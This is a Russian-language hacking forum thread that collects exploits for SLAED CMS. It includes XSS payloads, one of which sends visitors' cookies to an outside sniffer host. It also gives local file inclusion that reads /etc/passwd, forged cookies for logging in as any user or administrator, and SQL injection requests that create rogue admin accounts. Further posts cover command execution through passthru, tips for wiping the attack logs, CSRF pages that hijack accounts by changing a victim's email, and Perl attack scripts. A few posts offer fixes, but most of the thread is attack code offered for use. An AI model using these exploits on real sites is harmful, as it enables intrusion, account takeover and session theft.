:assive XSS:: Code: -> 1) [u]http://bug.ru/slaed/index.php?name=Info&op=MainPage&hid=0&url=[/u][_X_S_S_] -> 2) [u]http://bug.ru/slaed/index.php?name=Recommend&op=SendSite&yname=1&[email protected]&fname=[/u][_X_S_S_]&[email protected] Правда, гадкий скрипт проверяет Referrer, и если ты просто тупо ввёл эти строчки в адресную строку, то ничё не выйдет и тебя перекинет на главную страницу. Поэтому ядовитый линк нуна оставить где-нибудь на двиге. Ещё один ньюанс - расстройство желудка. Если в организации xss-сплойта вы используете символ одмнарной ковычки или тег <script>, то привиредливый скрипт сплойт не скушает, а нагло выплюнет нам главную страничку. Пересмотрел все способы вставки алерта и астановился на этом, он и является рабочим: Code: <body onLoad=alert("bebebe")></body> ПРИМЕЧАНИЕ_1: Если захочешь повторить мои действия, то везде, где стоит [_X_S_S_], тебе придётся использовать одну и туже конструкцию (кроме пунктов 3,4,5,6,7,8), - через <body onload> -> 3) http://bug.ru/slaed/backup.php?login=">[_X_S_S_]&pass=hjk - Тут тоже ситуация с расстройством желудка и в реализации уязвимости успеха я не достиг. ::Active XSS:: -> 4,5,6,7,8,9) Code: http://bug.ru/slaed/index.php?name=Account&[email protected]&user_icq=">[_X_S_S_]&user_aim=">[_X_S_S_]&user_msnm=">[_X_S_S_]&user_yim=">[_X_S_S_]&user_website=">[_X_S_S_]&user_occ=">[_X_S_S_]&user_from=">[_X_S_S_]&user_interests=">[_X_S_S_]&comment=blAblabla&user_storynum=10&user_broadcast=1&user_newsletter=0&viewemail=1&user_blockon=1&user_block=&theme=Blue&user_name=[YOUR_USERNAME]&user_id=[USER_ID]&op=savehome Не, я не перепутал актив с пассивом, просто в одной гетовой строке указал все уязвимые поля =) Здесь сразу хочу предупредить. Скрипт будет фильтровать твои сплоиты до последнего. Мне так и не удалось составить полноценно работающий скрипт. И если ты, о брат киберпространства, достигнешь успехов в реализации этой неполноценной уязвимости, надеюсь ты отпишешься в этой теме. Введённые "левые" данные светятся вроде в 2-х местах: 1) При просмотре админов вашего профиля 2) При оставлении мнения к файлу (движок позволяет обмениваться файлами). Там тоже показываются все ваши данные. -> 10) При оставлении того самого файла, нужно указать различные данные о нём. Уязвимо поле "Название файла" и "Описание файла". Файл отправлен, и теперь админ, зайдя в админку, видит : "Новых файлов: 1" (конечно их может быть больше). И как только он просматривает, то сразу ловит xss. Ха! Это только первое, на что попадается админ. На самом деле ещё уязвимы поля: "Домашняя страница", "Ссылка на изображение" и "Версия файла". Админ ведь должен проверить, что ты там за файл такой скидываешь. И когда он жмёт на редактирование описания файла, оставленного тобою, попадается и на вышеуказанные XSS. ::sql-inj:: -> 11) http://bug.ru/slaed/admin.php?op=BlocksChange&bid=6+AND+1=1 (Тут я поленился разбираться со SQL-инъекцией. Стоял не-пойми-какой фильтр. + ко всему работает только из админки) -> +) Ещё в админке просто здоровая туча пассивных xss, которые нахрен никому не сдались, тем более в админке, поэтому я даже писать не буду, где они =). ПРИМЕЧАНИЕ_2: Тестить обход фильтров лучше на локалке, потому что в двиге есть приятная для админа и неприятная для хакера функция - лог ошибок(атак=)). Когда я зашёл под админом, я был неприятно удивлён, когда увидел как в удобном виде показано, что и где я пытался ломануть. http://www.slaed.net/Banner/SLAED_CMS_2.gif (бугога )
Активная xss в Slaed cms 2.1 Lite При просмотре админом модуля безопасности. PHP: http://host/slaed/?rss=</textarea><script>alert(/XSS/)</script>
SLAED CMS <= 3.x Multiple Vulnerabilities SLAED CMS <= 3.x Multiple Vulnerabilities подробный разбор багов, как и почему это работает - в аттаче 1) Локальный инклуд + раскрытие пути Нашел - +toxa+ (http://forum.antichat.ru/thread32060.html) ./index.php?newlang=asd&language=asd Cookie: lang=asd Требования: - $error_reporting=1(default) - $conf[multilingual]=1 (default) - НЕ (register_globals=Off && magic_quotes=ON) 2) Локальный инклуд № 1 Для подгрузки ЛЮБОГО файла: ./index.php?name=FAQ&file=index Cookie: name=../robots.txt%00 Cookie: name=../../../../../../../../../etc/passwd%00 Требования: - magic_quotes=OFF - register_globals=OFF Для подгрузки PHP-файла: ./index.php?name=FAQ&file=index Cookie: name=..;file=rss Требования: - register_globals=OFF 3) Локальный инклуд № 2 Для подгрузки PHP-файла: ./index.php POST: StartModule=..&file=rss Требования: - register_globals=ON 4) ВХОД ПОД ЛЮБЫМ ЮЗЕРОМ id:username:anypassword::: 1:username:12345678901234567890123456789012:10:0: base64 = MTp1c2VybmFtZToxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjoxMDowOg== Вы ДОЛЖНЫ знать логин юзера, его айди в системе, префикс куков (sys_user). Пароль мд5 - любой, это не важно. ./index.php Cookie: sys_user=MTp1c2VybmFtZToxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjoxMDowOg==;usertrue=1&1253708415=1&-597179521 Требования: - PHP <= 4.4.3, 5.1.4 - НЕ (register_globals=Off && magic_quotes=ON) 5) ВХОД В АДМИНКУ id:admminname:anypassword::: 1:admminname:12345678901234567890123456789012:10:0: base64 = MTphZG1taW5uYW1lOjEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyOjEwOjA6 Вы ДОЛЖНЫ знать логин админа, его айди в системе, префикс куков (sys_admin). Пароль мд5 - любой, это не важно. ./admin.php Cookie: sys_admin=MTphZG1taW5uYW1lOjEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyOjEwOjA6;admintrue=1;godtrue=1;1253708415=1;-597179521;942252508=1;1912644014=1;2592000 Требования: - PHP <= 4.4.3, 5.1.4 - НЕ (register_globals=Off && magic_quotes=ON) 6) Создание нового администратора id: 9 name: Billy=0x42696c6c79 title: user=0x75736572 password: md5(Billy)=5ca49fbfb5ba90d2927d7f85f07ad74d=0x3563613439666266623562613930643239323764376638356630376164373464 lang: russian=0x7275737369616e ip: 207.46.19.190=0x3230372e34362e31392e313930 prefix=slaed_admins/**/VALUES(9,0x42696c6c79,0x75736572,1,1,0x3563613439666266623562613930643239323764376638356630376164373464,1,1,0x7275737369616e,0x3230372e34362e31392e313930)/* Code: POST /admin.php HTTP/1.0 User-Agent: Opera/9.02 (Windows NT 5.1; U; en) Host: 192.168.1.200 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Cookie: Cookie2: $Version=1 Proxy-Connection: close Content-Length: 297 Content-Type: application/x-www-form-urlencoded aname=new_admin&aurl=http%3A%2F%2Fnew_admin&aemail=new_admin&apwd=new_admin&apwd2=new_admin&auser_new=1&op=CreateAdmin&prefix=slaed_admins%20VALUES(9,0x42696c6c79,0x75736572,1,1,0x3563613439666266623562613930643239323764376638356630376164373464,1,1,0x7275737369616e,0x3230372e34362e31392e313930)/* Code: Управление администраторами 9 Billy user 1 1 russian 207.46.19.190 Login: Billy Password: Billy 9:Billy:5ca49fbfb5ba90d2927d7f85f07ad74d OTpCaWxseTo1Y2E0OWZiZmI1YmE5MGQyOTI3ZDdmODVmMDdhZDc0ZA== ./admin.php Cookie: admins=OTpCaWxseTo1Y2E0OWZiZmI1YmE5MGQyOTI3ZDdmODVmMDdhZDc0ZA%3D%3D Требования: - вы должны знать префикс таблиц (default=slaed) ЭКСПЛОИТ ПРИЛАГАЕТСЯ 7) Исполненение команд #### [censored!] ##### private #### [censored!] ##### Для подгрузки PHP-файла: - register_globals=OFF ./index.php?name=FAQ&file=index Cookie: name=../config;file=config_global POST: image=passthru(id); - register_globals=ON ./index.php POST: image=passthru(id);&StartModule=../config&file=config_global ******************************************** ************* Трем логи ошибок ************** ******************************************** Панель администратора-> Безопасность->
Самое важное - я данные комбинирую в куках и посте НЕ ДЛЯ ПОНТА. Так и только так это будет работать в указанных сочетаниях гет+куки+пост. (При импорте перезапись глобальных переменных куками происходит в последнюю очередь, что и позволяет переписать значения на нужные) Во-вторых, есть некторая зависимость от директив пхп. В-третьих - от версии движка слаеда. Тестил на 2.1 и 3.0. Ввиду таких мелких деталей - пробив менее 50%, так что не стоит обольщаться. Двиг все таки делали антихакерским, и постарались максимально осложнить задачу. Однако данные дыры с точки зрения разработчика вообще не существуют, поскольку он видимо не вдавался в особенности пхп.
Если админчики забыли убрать скрипт инстала... или попросту не поставили еще двиг то в файле ./setup/index.php (SLAED_CMS_2.2_Lite + SLAED_CMS_3.0.1) видим без каких либо проверок PHP: if (isset($_COOKIE["lang"])) { include("language/lang-".$_COOKIE["lang"].".php"); } else { include("language/lang-english.php"); } http://slaedsite.xek/setup/index.php Cookie: lang=../../../../../../etc/passwd%00
приношу свои извинения по поводу "lang-" по невыясненным причинам инклуд через существующий файл работает НЕ ВСЕГДА. например, у себя мне так и не удалось его проинклудить. объяснения феномена пока нет.
Кажется ясно... file_exists обламывает не только: - удаленный инклуд - экранирование знаком вопроса для обхода расширения ... но и выход из директории через существующий файл =( однако, там есть код и без file_exists тоесть, для 2.1 ветки ./index.php?newlang=asd&language=russian.php/../../robots.txt%00 для 3.0 ветки ./index.php?newlang=asd&conf[language]=russian.php/../../robots.txt%00
http://www.slaed.net/forum/index.php?showtopic=12942&st=0&#entry114355 http://inattack.ru/forum/index.php?showtopic=15102&pid=77907&st=0
Множественные уязвимости в SLAED CMS lite <= 2.4, и pro <= 3.4 1. CSRF – уязвимость при загрузке аватара. Злоумышленник может заставить сервер, на котором установлен SLAED CMS, выполнить произвольный http-запрос на сторонний сайт. Причина уязвимости заключается в том, что при загрузке аватара c удалённого хоста проверяется только наличие в конце записи расширения изображения. Злоумышленник может дополнить запрос указателем в виде расширения картинки. Для исправления данной уязвимости надо в файле function/source.php заменить строку 994: Code: $type = strtolower(end(explode(".", $_POST['sitefile']))); на строки: Code: $afile = str_replace(array('&','?','#'),'',$_POST['sitefile']); $type = strtolower(end(explode(".", $afile))); 2. XSS при загрузке аватара Уязвимость существует в виду отсутствия проверки содержимого изображений загружаемых с локального компьютера. Атакующий может загрузить файл, содержащий JavaScript/HTML-код, имеющий расширение изображения (jpg,png,gif и т.д.). Использование данной уязвимости имеет 2 ограничения: атака может быть произведена только на пользователей использующих бразуер Internet Explorer и для нападения атакующий должен заставить жертву перейти по прямой ссылке на вредоносное изображение. 3. Активная XSS в комментариях и подписях. Уязвимость существует в виду отсутствия проверки информации содержащейся в тегах . Атакующий может вставить в данные теги произвольный JavaScript – код. Например, если ввести в поле комментария следующий текст: Code: [img]javascript:alert(document.cookie)[/img] то после отправки в теле страницы, содержащей этот комментарий, появится вот такой HTML-код: Code: <img src="javascript:alert(document.cookie)" align="center" order="0" alt="title" title="title" /> Временное исправление – заменить строку 101 файла Code: function/comment.php: [code]$comment = nl2br(text_filter($comment, 2)); на строку: Code: $comment = nl2br(text_filter(str_ireplace("javascript","Java Script",$comment), 2)); После этого код подобных комментариев будет выглядеть вот так: Code: <img src="Java Script:alert(document.cookie)" align="center" border="0" alt="title" title="title" /> 4. Обход ограничений безопасности. Уязвимость существует в виду того, что скрипт администрирования не проверяет заголовок REFERER перед определёнными операциями. Атакующий может оставить специально сформированное сообщение в комментариях или подписи, просмотрев которое администратор может непроизвольно выполнить какие-либо действия в панели администрирования. Как пример возьмём ссылку удаления блока под номером 1: Code: http://slaed/admin.php?op=BlocksDelete&bid=6&ok=1 если злоумышленник оставит на сайте комментарий, содержащий изображение с адресом этой ссылки, то в теле страницы с комментарием появится следующий код изображения: Code: <img src="http://slaed/admin.php?op=BlocksDelete&bid=6&ok=1" align="center" border="0" alt="title" title="title" /> Соответственно администратор, при просмотре этого комментария, непроизвольно вызовет удаление первого блока. Ограничение: злоумышленник должен знать имя скрипта администрирования. 5. Обход ограничений безопасности. Уязвимость существует в файле security.php. Нападение можно осуществить при включенной опции "Блокировка нападающих". В виду того, что при блокировке атакующего скрипт не проверяет подлинность cookies, атакующий может заблокировать имена других пользователей. Пример эксплоита: Code: #!usr/bin/perl use IO::Socket; my $host = "site.com"; # host $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => "80") || die "CONNECTION FAILED"; print $sock "GET /index.php?id=UNION+1 HTTP/1.1\r\n"; print $sock "Host: ".$host."\r\n"; print $sock "Cookie: lite_us=MTphZG1pbixsYW1lcixwcGM6MTIzOjEyMzQ=\r\n"; print $sock "Connection: close\r\n\r\n"; Здесь site.com – хост, на который производится нападение, а строке, закодированной алгоритмом Code: base64: MTphZG1pbixsYW1lcixwcGM6MTIzOjEyMzQ= соответствует значение Code: 1:admin,lamer,ppc:123:1234. При блокировке скрипт разбивает cookies на массив и вторую ячейку массива записывает в файл config_blocker.php: Code: # 212-216 # if (isset($_COOKIE[USER_COOKIE])) { $user = $_COOKIE[USER_COOKIE]; $user = explode(":", addslashes(base64_decode($user))); $user = substr("".$user[1]."", 0, 25); $user_block = "".$user.","; # 225-227 # $cont .= "\$security_blocker_user = \"".$user_block."".$security_blocker_user."\";\n"; $content = "<?php\nif (!defined(\"FUNC_FILE\")) die(\"Illegal File Access\");\n\n".$cont."\n?>"; fwrite($fp, $content); Из-за отсутсвтвия проверки cookies в файл запишутся следующие данные: Code: $security_blocker_user = "admin,lamer,ppc"; т.к. именно эта строка будет находится во второй ячейке массива. Подобным образом атакующий может забанить любое количество пользователей за несколько обращений. 6. Активная XSS в панели администрирования. Уязвимость существует в скрипте security.php в функции warn_report(). В виду отсутствия проверки заголовка USER_AGENT атакующий может произвести XSS-нападение, поместив в этот заголовок html-код который будет записан в лог-файл и отображён при просмотре логов безопасности. Пример эксплоита: Code: #!usr/bin/perl use LWP::UserAgent; $browser = LWP::UserAgent->new(); my $url = "http://slaed/"; # URL my $user_agent = "</textarea><script>alert(13245)</script><textarea>"; $answer = $browser->get($url."?id=UNION+1",'USER_AGENT'=>$user_agent); И исправление: замените строку 258 в файле modules/security.php: $agent = getenv("HTTP_USER_AGENT"); на строку $agent = htmlspecialchars(getenv("HTTP_USER_AGENT")); 7. SQL-инъекция (security.php) Уязвимость возможна благодаря некорректной обработке скриптом security.php массивов GET, POST, Cookie. При выключенной опции конфигурации PHP magic_quotes_gpc возможна перезапись глобальных переменных, созданных ранее самой CMS, а также создание новых. К ним относятся переменные, содержащие конфигурационную информацию системы. Таким образом, перезаписав переменную prefix запросом http://site.com/index.php?prefix=lol, атакующий может внедрить произвольный SQL-код в запросы к базе данных. Пример эксплоита, обходящий все ограничения фильтров безопасности: Code: http://[host]/index.php?prefix=slaed_admins+values+(/*&ina=team*/999, 0x6834783072,0x41646d696e,0x687474703a2f2f696e61747461636b2e72752f,0x726f6f74406c6f63616c68 6f7374,0x3666333234396161333034303535643633383238616633626661623737386636,1,0,0x656e676c69 7368,0x3132372e302e302e31)/* Данный запрос внедрит в инструкцию INSERT SQL-код, который добавит нового администратора с именем h4x0r и паролем 31337 в таблицу slaed_admins. Кроме того, присутствует возможность удаления всех администраторов с помощью запроса: Code: http://[host]/admin.php?prefix=slaed_admins/* Выполнив данный запрос, атакующий впоследствии сможет создать нового администратора. Ограничение: злоумышленник должен знать префикс таблиц. 8. SQL-инъекция (index.php) Вызов функции Code: import_request_variables() (строка 32) в index.php может привести к перезаписи значений элементов массива GLOBALS, т.е. снова возможна SQL-инъекция описанная выше. Уязвимость возможна при опции register_globals установленной в ‘off’ ©
Давно хотел обзор сделать, но руки так и не дошли..... XSS in SLAED CMS Уязвимый скрипт: index.php?name=Contact Причина: Недостаточная проверка входящих POST параметров Эксплоит: Code: <form method="post" action="http://www.site.com/index.php?name=Contact" name="sploit"> <input type="hidden" name="ipreg" value="127.0.0.1"> <input type="hidden" name="ipreg4" value="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"> <input type="hidden" name="admin_mail" value="[email protected]"> <input type="hidden" name="sender_name" value='"><img src=javascript:window.navigate("http://sniffer host.ru/sniffer.gif?"+document.cookie);><br "'> <input type="hidden" name="sender_email> <input type="hidden" name="message"> <input type="hidden" name="opi" value="ds"> <script> sploit.submit(); </script> </form>
Пассивная XSS в Slaed CMS v. 3.5: POST-запрос: Code: subject=%3Cimage+src%3Duploads%2Favatars%2F00.gif+onload%3Dalert%28%2Flala%2F%29%3E&hometext=1 Ну или создать: Code: <form method="POST" action="http://site/index.php?name=FAQ&op=add"> subject: <input type="text" name="subject"/><br /> hometext: <input type="text" name="hometext" value="1"/><br /> <input type="submit" /> </form> и в поле subject прописать: Code: <image src=uploads/avatars/00.gif onload=alert(/lala/)> В src должен быть указан путь к реально существующей картинке, параметр hometext должен быть установлен, значение может быть любым. Работает, если у пользователя есть права на добавление, даже при включеной предмодерации. Моё, кажется нигде не было. З.Ы. Предложение модераторам: Может топик переименовать в просто Slaed CMS, без номера версии?
Ещё пассивная XSS в Slaed CMS v. 3.5: Code: <form method="POST" action="http://site/index.php?name=Account"> url: <input type="text" name="url"/><br /> <input type="submit" /> </form> В поле url прописать: Code: "><image src=uploads/avatars/00.gif onload=alert(/XSS/)> Как и в прошлом случае, src должно указывать на существующий файл. З.Ы. Примечательно, что в гет-запросах движок символ " не пропускает, а в пост- нормально
CSRF в Slaed CMS 3.5 : На свой сервер положить страничку со следующим содержимым, и заманить туда юзера: Code: <body onload="p.submit()"> <form method="POST" action="http://site/index.php?name=Account&op=savehome" id="p"> <input type="hidden" name="user_email" value="ВАШЕ_МЫЛО"/><br /> </form> Таким образом у пользователя сменится e-mail на ваш, (даже у админа), затем, на него можно запросить изменение пароля по этой ссылке: http://site/index.php?name=Account&op=passlost
Ещё пассивки в POST-запросах в Slaed CMS 3.5: Code: <form method="POST" action="http://site/index.php?name=News&op=add"> postname: <input type="text" name="postname"/><br /> <input type="submit" /> </form> В поле url прописать: Code: "><image src=uploads/avatars/00.gif onload=alert(/XSS/)> Поле src должно указывать на существующий файл. (Варианты с просто <script> и <body onload=""> не прокатят ) Так-же уязвимо поле Subject. -------------------------------------- Тут: Code: http://site/index.php?name=Info уязвимо поле url. Также POST запрос: Code: "><image src=uploads/avatars/00.gif onload=alert(/XSS/)> --------------------------------------- Code: http://site/index.php?name=Files&op=add уязвимы поля: author, authormail, authorurl, title, cid ------------------------------------- Code: http://site/index.php?name=Auto_Links&op=add уязвимы поля: a_sitelink, a_sitename, a_adminemail
Blind SQL-Injection в админке Slaed CMS 3.5: Code: <form method="POST" action="http://site/admin.php?op=news_save"> sid: <input type="text" name="sid"/><br /> subject: <input type="text" name="subject" value="subject"/><br /> hometext: <input type="text" name="hometext" value="SQL1"/><br /> postname: <input type="text" name="postname" value="postname"/><br /> bodytext: <input type="text" name="bodytext" value="SQL2"/><br /> posttype: <input type="text" name="posttype" value="save"/><br /> <input type="submit" /> </form> Уязвимы поля hometext и bodytext. Если установлено поле sid, то запрос выглядит так: Code: UPDATE TKR_stories SET catid='', aid='postname', title='subject', time='2008-5-11 16:45:00', hometext='[B]SQL1[/B]', bodytext='[B]SQL2[/B]', field='', ihome='', acomm='', associated='', status='1' WHERE sid='1' Если поле sid не установлено, то так: Code: INSERT INTO TKR_stories VALUES (NULL, '', 'postname', 'subject', '2008-5-11 16:47:00', 'SQL1', 'SQL2', '', '0', '0', '', '', '0', '0', '', '1') Остальные поля должны быть установлены, у поля posttype должно быть значение save.
Ещё одна Blind SQL-Injection в админке Slaed CMS 3.5: Code: <form method="POST" action="http://site/admin.php?name=Auto_Links&op=auto_links_save"> a_id: <input type="text" name="a_id"/><br /> a_description: <input type="text" name="a_description" value="SQL"/><br /> a_sitename: <input type="text" name="a_sitename" value="1"/><br /> posttype: <input type="text" name="posttype" value="save"/><br /> <input type="submit" /> </form> Если установлено поле a_id, то запрос выглядит так: Code: UPDATE TKR_auto_links SET sitename='1', description='SQL', link='', mail='', hits='0', outs='0' WHERE id='1' если нет, то так: Code: INSERT INTO TKR_auto_links VALUES (NULL, '1', 'SQL', '', '', '0', '0', now())
Ещё пассивки в POST-запросах в Slaed CMS 3.5: Code: http://test6.ru/index.php?name=Pages&op=add Уязвимы postname, subject
SLAED.net на хрен взломан. Сейчас - недостпен. http://antislaedcms.ru/index.php?showtopic=2513 http://forum.slaedsuck.com/
Xss в SLAED CMS 3.5 Post-запрос на странице http://site/index.php?name=Account &op=new_user Code: "><script src=http://site/script.js> в полях- gfx_check та random_num